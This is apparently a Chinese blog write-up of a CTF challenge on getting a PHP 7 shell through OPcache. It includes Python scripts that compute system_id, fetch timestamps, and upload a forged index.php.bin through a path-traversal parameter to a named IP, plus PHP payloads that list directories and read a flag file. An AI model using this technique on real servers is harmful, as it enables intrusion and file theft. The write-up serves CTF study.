Fork me on GitHub

php7的Opcache导致的getshell

参考文献:https://www.jianshu.com/p/e675bd51c61
http://www.vuln.cn/6763
https://github.com/GoSecure/php7-opcache-override

题目

Opcache 是一个 PHP 内置的加速模块就行,当 PHP 解析器在解析一个 PHP 文件的时候,假如该文件对应的 byte-code 存储在内存中,则省去了转换过程直接执行了;反之则会编译,并将编译后的 byte-code 存入到内存中(以文件名作为索引)。

在php7中利用默认的Opcache引擎实施攻击的方式:利用此攻击向量,攻击者可以绕过Web目录禁止文件读写的限制,也可以执行恶意代码

利用条件:

  • 目标服务器是php7并开启了opcache缓存
  • 获得目标详细的各种环境信息,最直接的是拿到phpinfo
  • 支持文件上传,能上传.bin文件到tmp目录下
  • 若目标服务器开启了时间戳校验,要么爆破时间戳,或者cms的大部分文件并不会被修改,时间戳与源码一致

在指定的目录中,OPcache存储了已编译的php脚本文件,这些缓存文件被放置在和web目录一致的目录结构中。如,编译后的/var/www/html/index.php文件的缓存会被存储在/tmp/cache/system_id/var/www/html/index.php.bin。system_id是当前PHP版本号,Zend 扩展版本号以及各个数据类型大小的 MD5 哈希值。在最新版的 Ubuntu(16.04)中,system_id 是通过当前 Zend 和 PHP 的版本号计算出来的,其值为 81d80d78c6ef96b89afaadc7ffc5d7ea
当OPcache在第一次缓存文件时,上述目录就会被创建。运行Web服务的用户对OPcache缓存目录(如:/tmp/opcache/)里面的所有子目录以及文件都具有写权限。
要利用OPcache执行代码,需要先找到OPcache的缓存目录(如:/tmp/opcache/system_id)以及Web目录(如:/var/www)。假设,目标站点已经存在一个执行phpinfo()函数的文件了。通过这个文件,我们可以获得OPcache缓存目录,Web目录,以及计算system_id所需的几个字段值

思路

  • 先在本地搭建环境,生成自己的index.php的opcache
  • 访问目标服务器的index.php?action=phpinfo,得到phpinfo,并通过项目https://github.com/GoSecure/php7-opcache-override计算得到其system_id
  • 先访问index.php?action=reset再访问index.php?action=time,清空服务器的index.php然后重新touch index.php,并获得其时间戳
  • 修改自己本地的index.php.bin的system_id和时间戳,与服务器相同,并上传到目标服务器的tmp相应目录下
  • 访问index.php?action=shell,成功include index.php,此时以缓存的内容为主,成功 get shell

本地搭建测试环境。

chmod 777 /tmp/opcache(不给全部权限的话,会不出东西。。。)

  • 切换到/etc/php/7.0/apache2/php.ini,在php.ini里面加入,然后重启apache2服务

    1
    2
    3
    4
    5
    6
    [opcache]
    opcache.validate_timestamps = 0 ; PHP 7 的默认值为 1,即开启时间戳校验
    opcache.file_cache_only = 1 ; PHP 7 的默认值为 0
    opcache.file_cache = /tmp/opcache
    [php]
    zend_extension=opcache.so ;有些还需要再添加这句
  • /var/www/html/opcache目录下创建一个index.php,里面内容随便填写,然后运行

    1
    wget 127.0.0.1/opcache/index.php

  • 然后在/tmp/opcache目录下出现了缓存配置

获得目标服务器的system_id和时间戳
http://202.120.7.217:9527/index.php?action=phpinfo得到服务器的phpinfo.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib
from hashlib import md5
php_version = '7.0.28'
zend_extension_id = 'API320151012,NTS'
architecture = 'x86_64'
zend_bin_id = 'BIN_SIZEOF_CHAR48888'

print ('PHP version :' + php_version)
print ('Zend Extension ID :' + zend_extension_id)
print ('Zend Bin ID :' + zend_bin_id)
print ('Assuming: ' + architecture + " architecture")

m = hashlib.md5((php_version + zend_extension_id + zend_bin_id).encode("gb2312"))

digest = m.hexdigest()
print ("------------")
print ('System ID : ' + digest)

1
2
3
4
5
6
7
8
9
10
11
import requests

url = 'http://202.120.7.217:9527/index.php?action=reset'
r = requests.get(url)

url = 'http://202.120.7.217:9527/index.php?action=time'
r = requests.get(url)

tmp = hex(int(r.text)).replace('0x','')
time = tmp[6:8]+tmp[4:6]+tmp[2:4]+tmp[0:2]
print (time)
  • 在010里面修改index.php.bin的system_id时间戳

  • 上传修改后的index.php.bin到目标服务器对应的tmp目录下(upload.php)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    import requests

    files = {'file': open("index.php.bin", 'rb')}
    url = 'http://202.120.7.217:9527/index.php?action=upload&name=../../../../../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/bad02726262861710a4eb6b90e0eb13ad8b7dacc/index.php.bin'
    print ('upload url:')
    print (url)
    r = requests.post(url,files = files)
    print (r)

    url = 'http://202.120.7.217:9527/index.php?action=shell'
    print ('shell:')
    print (requests.get(url).text)

接下来各种写shell
目标服务器的目录权限限制,导致不能写入一句话木马,目标服务器的system等调用系统命令等函数被禁用,导致无法反弹shell
只能老老实实用php函数,读取想要的东西

  • 修改index.php内容,读取目录信息

    1
    2
    3
    4
    5
    6
    7
    <?php
    echo 'OK';
    echo 'scan flag dir';
    echo var_dump(scandir('/var/www/html/flag'));
    echo 'scan sandbox';
    echo var_dump(scandir('var/www/html/sandbox/bad02726262861710a4eb6b90e0eb13ad8b7dacc/'));
    ?>
  • 运行python upload.php,发现可疑的文件或目录93f4c28c0cf0b07dfd7012dca2cb868cc0228ca

  • 再修改index.php里面的内容。

    1
    2
    3
    4
    5
    <?php
    echo 'OK';
    echo 'read 93f4c28c0cf0b07dfd7012dca2cb868cc0228ca:';
    echo base64_encode(file_get_contents('/var/www/html/flag/93f4c28c0cf0b07dfd7012dca2cb868cc0228ca'));
    ?>
  • 运行python upload.php读取文件。

-------------本文结束感谢您的阅读-------------